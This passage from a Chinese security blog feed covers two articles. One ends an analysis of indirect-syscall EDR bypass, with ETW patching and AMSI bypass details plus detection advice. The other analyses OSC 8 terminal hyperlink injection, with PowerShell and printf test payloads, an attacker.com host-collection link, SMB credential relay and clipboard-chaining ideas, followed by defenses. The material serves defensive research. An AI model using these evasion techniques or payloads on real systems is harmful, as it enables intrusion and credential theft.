在导出表中是连续的，可通过目标函数前后的函数 SSN 插值计算。</li>\n<li><strong>Tartarus' Gate 算法</strong>：在钩子指令内部解析被覆盖的原始字节，从中提取 SSN 值。</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-执行流程分析\">4. 执行流程分析<a class=\"hash-link\" aria-label=\"4. 执行流程分析的直接链接\" title=\"4. 执行流程分析的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#4-%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90\">​</a></h2>\n<p>间接系统调用的完整执行流程如下：</p>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">攻击者代码                     ntdll.dll 内存空间</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |                                  |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |--- mov r10, rcx -------------&gt;   |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |--- mov eax, SSN -------------&gt;   |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |--- jmp [syscall_addr] -------&gt;   |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |                       syscall    |  ← 从 ntdll.dll 执行</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |                       ret        |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |&lt;--------- 返回 &lt;----------------|</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  |</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  EDR 视角：调用栈显示 syscall 从 ntdll.dll 发起</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">           返回地址在 ntdll.dll 范围内 → 判定为合法</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>EDR 调用栈验证的盲区在于：它只能检查 <code>syscall</code> 指令的返回地址归属，而无法区分该执行流是由正常代码跳转而来，还是由直接系统调用触发。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-组合攻击框架\">5. 组合攻击框架<a class=\"hash-link\" aria-label=\"5. 组合攻击框架的直接链接\" title=\"5. 组合攻击框架的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#5-%E7%BB%84%E5%90%88%E6%94%BB%E5%87%BB%E6%A1%86%E6%9E%B6\">​</a></h2>\n<p>在实际红队操作中，间接系统调用通常与其他绕过技术组合使用，形成完整的防御绕过链：</p>\n<table><thead><tr><th>层级</th><th>技术</th><th>目标</th></tr></thead><tbody><tr><td>1</td><td>间接系统调用</td><td>绕过用户态钩子与调用栈验证</td></tr><tr><td>2</td><td>ETW Patch</td><td>盲化事件遥测（<code>EtwEventWrite</code> → <code>RET</code>）</td></tr><tr><td>3</td><td>AMSI Bypass</td><td>盲化脚本扫描（<code>AmsiScanBuffer</code> → <code>E_INVALIDARG</code>）</td></tr><tr><td>4</td><td>睡眠加密</td><td>休眠时加密内存中的 Beacon 载荷</td></tr><tr><td>5</td><td>模块踩踏</td><td>加载合法 DLL 后覆写其 <code>.text</code> 段写入载荷</td></tr></tbody></table>\n<p>其中，ETW Patch 的实现为将 <code>ntdll.dll</code> 中的 <code>EtwEventWrite</code> 函数入口替换为 <code>RET</code> 指令（<code>0xC3</code>），使 Windows 事件追踪系统无法记录后续的可疑行为。AMSI Bypass 则将 <code>amsi.dll</code> 中的 <code>AmsiScanBuffer</code> 函数入口修改为返回 <code>E_INVALIDARG</code>（<code>0x80070057</code>），使脚本扫描引擎失效。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-防御建议\">6. 防御建议<a class=\"hash-link\" aria-label=\"6. 防御建议的直接链接\" title=\"6. 防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#6-%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"61-内核态调用栈验证\">6.1 内核态调用栈验证<a class=\"hash-link\" aria-label=\"6.1 内核态调用栈验证的直接链接\" title=\"6.1 内核态调用栈验证的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#61-%E5%86%85%E6%A0%B8%E6%80%81%E8%B0%83%E7%94%A8%E6%A0%88%E9%AA%8C%E8%AF%81\">​</a></h3>\n<p>EDR 系统应部署内核传感器，在内核层验证调用链的完整性。与用户态调用栈验证不同，内核态验证可以捕获从异常上下文发起的系统调用，且不受用户态钩子的影响。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"62-模块完整性监控\">6.2 模块完整性监控<a class=\"hash-link\" aria-label=\"6.2 模块完整性监控的直接链接\" title=\"6.2 模块完整性监控的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#62-%E6%A8%A1%E5%9D%97%E5%AE%8C%E6%95%B4%E6%80%A7%E7%9B%91%E6%8E%A7\">​</a></h3>\n<p>监控进程的模块加载行为，检测异常的模块加载模式。对于调用敏感系统调用但导入表中缺乏对应函数条目的进程，应产生告警。同时，周期性校验关键 DLL（如 <code>ntdll.dll</code>、<code>amsi.dll</code>）的代码完整性，检测是否被篡改。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"63-遥��测完整性监控\">6.3 遥测完整性监控<a class=\"hash-link\" aria-label=\"6.3 遥测完整性监控的直接链接\" title=\"6.3 遥测完整性监控的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#63-%E9%81%A5%E6%B5%8B%E5%AE%8C%E6%95%B4%E6%80%A7%E7%9B%91%E6%8E%A7\">​</a></h3>\n<p>检测 <code>EtwEventWrite</code>、<code>AmsiScanBuffer</code> 等关键遥测函数的篡改行为。当发现这些函数的入口被修改为 <code>RET</code> 或其他异常指令时，应立即产生高优先级告警。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"64-欺骗技术\">6.4 欺骗技术<a class=\"hash-link\" aria-label=\"6.4 欺骗技术的直接链接\" title=\"6.4 欺骗技术的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#64-%E6%AC%BA%E9%AA%97%E6%8A%80%E6%9C%AF\">​</a></h3>\n<p>在关键进程（如 <code>lsass.exe</code>）中植入金丝雀令牌（Canary Token），当攻击者尝试通过间接系统调用来枚举或访问受保护资源时触发告警。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"7-结论\">7. 结论<a class=\"hash-link\" aria-label=\"7. 结论的直接链接\" title=\"7. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#7-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>间接系统调用技术代表了 EDR 绕过技术从\"绕过钩子\"到\"绕过调用栈验证\"的范式演进。它利用了调用栈验证机制的固有盲区——该机制只能验证 <code>syscall</code> 指令的执行来源，而无法区分该执行流是由正常代码跳转产生还是由恶意代码构造。这一盲区的存在表明，基于单一维度的检测机制在持续的攻防博弈中具有有限的有效期。构建多层、多维度、覆盖用户态与内核态的纵深检测体系，是对抗此类攻击的根本路径。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Safety Research Team. \"Indirect Syscalls: Defeating EDR Call Stack Validation.\" <a href=\"https://blog.sektor7.net/\" target=\"_blank\" rel=\"noopener noreferrer\">https://blog.sektor7.net/</a></p>\n<p>[2] Microsoft Corporation. \"Windows System Call Interface.\" <a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows-hardware/drivers/</a></p>\n<p>[3] Smithson, M. \"SysWhispers: System Call Stub Generation.\" <a href=\"https://github.com/jthuraisamy/SysWhispers\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/jthuraisamy/SysWhispers</a></p>\n<p>[4] Microsoft Corporation. \"Anti-Malware Scan Interface (AMSI).\" <a href=\"https://learn.microsoft.com/en-us/windows/win32/amsi/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows/win32/amsi/</a></p>\n<p>[5] MDSec Research. \"Indirect System Calls in Practice.\" <a href=\"https://www.mdsec.co.uk/research/\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.mdsec.co.uk/research/</a></p>",
            "url": "https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/",
            "title": "间接系统调用技术分析与评估：针对 EDR 调用栈验证机制的绕过方法",
            "summary": "针对间接系统调用（Indirect Syscalls）技术的系统性分析，研究其绕过 EDR 调用栈验证机制的原理、实现方法及检测对策。",
            "date_modified": "2026-05-21T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Linux"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>OSC 8（Operating System Command 8）超链接转义序列允许终端模拟器在纯文本输出中嵌入可点击的超链接。这一设计显著增强了终端交互的可用性，但也引入了一个被广泛忽视的攻击面：攻击者可通过注入恶意的 OSC 8 序列，将终端从被动的信息显示设备转变为半主动的交互界面，使用户的单一点击行为即可触发本地资源访问或远程请求。本文对 OSC 8 协议的底层语法、跨平台注入向量、file:// URI 的行为差异以及现有安全防御机制进行了系统性分析，并在纵深防御体系框架下评估了此类非代码执行攻击面的真实威胁等级。</p>\n<p><strong>关键词</strong>：OSC 8；终端安全；转义序列注入；攻击面建模；纵深防御</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>终端模拟器是现代软件开发与系统管理中的核心交互入口。长期以来，终端被视为一种\"被动显示设备\"——其输出流中的文本内容仅供用户阅读，不具备交互能力。OSC 8 超链接转义序列的引入打破了这一假设，使得终端输出能够嵌入可点击的交互元素，从而将终端升级为\"半主动交互界面\"。</p>\n<p>这一变化带来的安全影响是深远的。在传统攻击模型中，攻击者需要通过社会工程学诱骗用户手动复制并执行恶意命令；而 OSC 8 序列使得这一过程简化为一次点击。值得注意的是，OSC 8 并非安全漏洞，而是一项被主流终端模拟器广泛支持的公开协议标准。因此，其攻击面属于协议特性的非预期使用范畴，具有隐蔽性强、检测难度高的特点。</p>\n<p>本文的主要贡献包括：（1）对 OSC 8 协议语法及终端实现进行了系统梳理；（2）分析了 Windows 与 Linux 平台下 file:// URI 的行为差异及相关安全限制；（3）梳理了主流通用攻击向量与组合攻击手法；（4）从终端模拟器、操作系统及用户行为三个层面提出了纵深防御建议。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-osc-8-协议分析\">2. OSC 8 协议分析<a class=\"hash-link\" aria-label=\"2. OSC 8 协议分析的直接链接\" title=\"2. OSC 8 协议分析的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#2-osc-8-%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-协议语法\">2.1 协议语法<a class=\"hash-link\" aria-label=\"2.1 协议语法的直接链接\" title=\"2.1 协议语法的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#21-%E5%8D%8F%E8%AE%AE%E8%AF%AD%E6%B3%95\">​</a></h3>\n<p>OSC（Operating System Command）是终端控制序列中的一个功能族，由转义字符 <code>ESC ]</code>（ASCII 码 <code>\\x1b]</code>）引入。OSC 8 专门用于定义超链接，其完整格式如下：</p>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ESC ] 8 ; params ; uri ST</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>其中 <code>ST</code>（String Terminator）为标准字符串终止符，亦可使用 BEL 字符（<code>\\x07</code>）作为终止符：</p>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ESC ] 8 ; params ; uri BEL</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>当需要关闭超链接作用域时，发送空 URI 的 OSC 8 序列：</p>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ESC ] 8 ; ; BEL</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>位于开启序列与关闭序列之间的文本内容，将被终端模拟器渲染为超链接样式。用户点击后，终端将调用操作系统默认处理程序打开指定的 URI。</p>\n<p>参数 <code>params</code> 字段可为空，亦可包含键值对（如 <code>id=myid</code>），主要用于标识和分组链接，在多数终端实现中可忽略。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-终端支持现状\">2.2 终端支持现状<a class=\"hash-link\" aria-label=\"2.2 终端支持现状的直接链接\" title=\"2.2 终端支持现状的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#22-%E7%BB%88%E7%AB%AF%E6%94%AF%E6%8C%81%E7%8E%B0%E7%8A%B6\">​</a></h3>\n<p>OSC 8 协议已获得主流终端模拟器的广泛支持，包括但不限于：</p>\n<ul>\n<li><strong>Windows</strong>：Windows Terminal、PowerShell 控制台主机</li>\n<li><strong>Linux</strong>：GNOME Terminal、Konsole、xterm、Alacritty、Kitty</li>\n<li><strong>macOS</strong>：Terminal.app、iTerm 2</li>\n</ul>\n<p>该协议的广泛支持意味着攻击向量具有跨平台的普适性。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-攻击向量分析\">3. 攻击向量分析<a class=\"hash-link\" aria-label=\"3. 攻击向量分析的直接链接\" title=\"3. 攻击向量分析的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#3-%E6%94%BB%E5%87%BB%E5%90%91%E9%87%8F%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-注入路径\">3.1 注入路径<a class=\"hash-link\" aria-label=\"3.1 注入路径的直接链接\" title=\"3.1 注入路径的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#31-%E6%B3%A8%E5%85%A5%E8%B7%AF%E5%BE%84\">​</a></h3>\n<p>攻击者可通过以下途径将恶意 OSC 8 序列写入目标用户的终端输出流：</p>\n<p><strong>恶意软件或脚本输出</strong>：当用户执行攻击者控制的脚本（如通过 <code>curl | bash</code> 管道执行未验证代码，或解压并运行恶意安装脚本）时，脚本除显示正常信息外，可向标准输出流中写入经编码的 OSC 8 序列。</p>\n<p><strong>会话污染</strong>：攻击者在获取远程主机的控制权后，可向连接中的终端会话写入恶意转义序列。此类攻击在共享的 SSH 会话环境中尤为常见。</p>\n<p><strong>日志文件投毒</strong>：当用户通过 <code>cat</code>、<code>tail</code>、<code>less</code> 等工具查看被污染的文件时，若文件内容包含 OSC 8 序列，终端将在渲染阶段解析并显示可点击的超链接。</p>\n<p><strong>多路复用写入</strong>：在 Linux 系统中，具有适当权限的进程可向同一主机的其他终端设备（<code>/dev/pts/N</code>）写入数据。若目标终端未启用 <code>mesg n</code>，攻击者可以从同一主机的另一个终端会话直接注入恶意序列。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-跨平台行为差异\">3.2 跨平台行为差异<a class=\"hash-link\" aria-label=\"3.2 跨平台行为差异的直接链�接\" title=\"3.2 跨平台行为差异的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#32-%E8%B7%A8%E5%B9%B3%E5%8F%B0%E8%A1%8C%E4%B8%BA%E5%B7%AE%E5%BC%82\">​</a></h3>\n<p>为了验证不同终端模拟器与操作系统对 OSC 8 超链接的处理方式，我们构建了以下测试用例：</p>\n<div class=\"language-powershell codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-powershell codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"># Windows PowerShell 环境</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">$esc = [char]0x1b; $bel = [char]0x7</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">Write-Host \"${esc}]8;;file:///C:/Windows/System32/calc.exe${bel}Click here${esc}]8;;${bel}\"</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>在 Windows 11 的 PowerShell 控制台中执行上述命令后，终端会渲染一个可点击的文本\"Click here\"。点击行为触发系统的 URI 调度机制，对 <code>file://</code> 协议进行处理。</p>\n<p>Linux 环境下使用等效命令：</p>\n<div class=\"language-bash codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-bash codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token builtin class-name\">printf</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'\\e]8;;file:///usr/bin/gnome-calculator\\e\\\\Click here\\e]8;;\\e\\\\'</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>同样可在支持的终端模拟器中生成可点击的超链接。</p>\n<p>然而，不同操作系统对 <code>file://</code> URI 的处理存在显著差异：</p>\n<p><strong>Windows 平台</strong>：Windows 通过 URLACTION_LOCAL_EXEC 安全机制和本地计算机区域锁定策略，默认禁止从非浏览器上下文启动 <code>file://</code> 协议关联的可执行文件（<code>.exe</code>、<code>.bat</code> 等）。因此，直接从终端点击 <code>file:///C:/Windows/System32/calc.exe</code> 在完全更新的 Windows 11 上不会直接执行。但是，指向非可执行文件或目录的 <code>file://</code> URI 仍可正常打开。</p>\n<p><strong>Linux 平台</strong>：大多数现代 Linux 桌面环境（GNOME、KDE Plasma）的文件管理器在收到 <code>file://</code> 请求时，会根据文件类型执行关联操作。对于不可执行文件，通常使用关联程序打开；对于可执行文件，文件管理器通常使用文本编辑器打开或弹出安全确认对话框。最新版本的 GNOME 已引入针对终端触发的 <code>file://</code> 链接的安全确认机制。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-组合攻击手法\">3.3 组合攻击手法<a class=\"hash-link\" aria-label=\"3.3 组合攻击手法的直接链接\" title=\"3.3 组合攻击手法的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#33-%E7%BB%84%E5%90%88%E6%94%BB%E5%87%BB%E6%89%8B%E6%B3%95\">​</a></h3>\n<p>尽管直接通过 <code>file://</code> URI 执行可执行文件在主流操作系统上已受到严格限制，攻击者仍可利用 OSC 8 实现以下组合攻击：</p>\n<p><strong>信息收集型钓鱼</strong>：构造指向攻击者控制的 HTTP 服务器的超链接（如 <code>https://attacker.com/collect?host=$(hostname)</code>），在用户点击时通过 HTTP 请求泄露主机标识信息。</p>\n<p><strong>SMB 凭据中继</strong>：使用 <code>file://attacker-server/share/file</code> 路径，诱使 Windows 系统尝试 NTLM 认证，从而捕获并中继用户的凭据哈希。</p>\n<p><strong>多序列组合攻击</strong>：将 OSC 8 与 OSC 52（剪贴板操作序列）等终端控制序列结合，构造更复杂的攻击链路。例如，先通过 OSC 52 将恶意命令写入用户剪贴板，再通过 OSC 8 诱骗用户粘贴执行。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-防御机制分析\">4. 防御机制分析<a class=\"hash-link\" aria-label=\"4. 防御机制分析的直接链接\" title=\"4. 防御机制分析的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#4-%E9%98%B2%E5%BE%A1%E6%9C%BA%E5%88%B6%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-终端模拟器层面\">4.1 终端模拟器层面<a class=\"hash-link\" aria-label=\"4.1 终端模拟器层面的直接链接\" title=\"4.1 终端模拟器层面的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#41-%E7%BB%88%E7%AB%AF%E6%A8%A1%E6%8B%9F%E5%99%A8%E5%B1%82%E9%9D%A2\">​</a></h3>\n<p><strong>超链接功能控制</strong>：部分终端模拟器（如 Konsole）允许用户在配置中完全禁用超链接渲染。Windows Terminal 目前不提供直接的关闭选项，但可通过实验性渲染参数间接影响行为，可靠性有限。</p>\n<p><strong>协议白名单</strong>：终端模拟器可在渲染 OSC 8 序列时对 URI 的协议部分进行安全校验，仅允许 <code>http</code> 与 <code>https</code> 协议，拦截 <code>file</code>、<code>javascript</code> 等具有本地资源访问能力的协议。iTerm 2 已实现可配置的协议白名单功能。</p>\n<p><strong>用户确认机制</strong>：在打开任何非 HTTP(S) 协议链接前弹出安全确认对话框，提示用户即将执行的操作类型及目标资源。GNOME Terminal 的最新版本已引入类似机制。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-操作系统层面\">4.2 操作系统层面<a class=\"hash-link\" aria-label=\"4.2 操作系统层面的直接链接\" title=\"4.2 操作系统层面的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#42-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%B1%82%E9%9D%A2\">​</a></h3>\n<p><strong>Linux</strong>：保持 <code>mesg n</code> 的默认配置，防止未经授权的跨会话终端写入；通过 SELinux 或 AppArmor 对终端设备的访问实施细粒度控制。</p>\n<p><strong>Windows</strong>：保持本地计算机区域锁定安全性为默认启用状态；通过组策略禁止 <code>file://</code> 协议直接启动可执行文件；使用 Windows Defender Application Control（WDAC）限制未签名程序的执行。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"43-用户行为层面\">4.3 用户行为层面<a class=\"hash-link\" aria-label=\"4.3 用户行为层面的直接链接\" title=\"4.3 用户行为层面的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#43-%E7%94%A8%E6%88%B7%E8%A1%8C%E4%B8%BA%E5%B1%82%E9%9D%A2\">​</a></h3>\n<p>对于终端输出流中突然出现的、缺乏上下文关联的可点击链接，用户应保持基本的警惕。此外，以下操作可有效降低风险：</p>\n<ul>\n<li>避免在不受信任的环境中直接执行 <code>curl | bash</code> 等管道执行模式；</li>\n<li>使用 <code>cat -v</code> 或 <code>less</code> 查看可疑文件，这些工具默认会转义控制字符，使隐藏的转义序列可视化；</li>\n<li>定期审查终端模拟器的安全配置，及时更新至包含安全修复的最新版本。</li>\n</ul>\n<h2 class=\"anchor 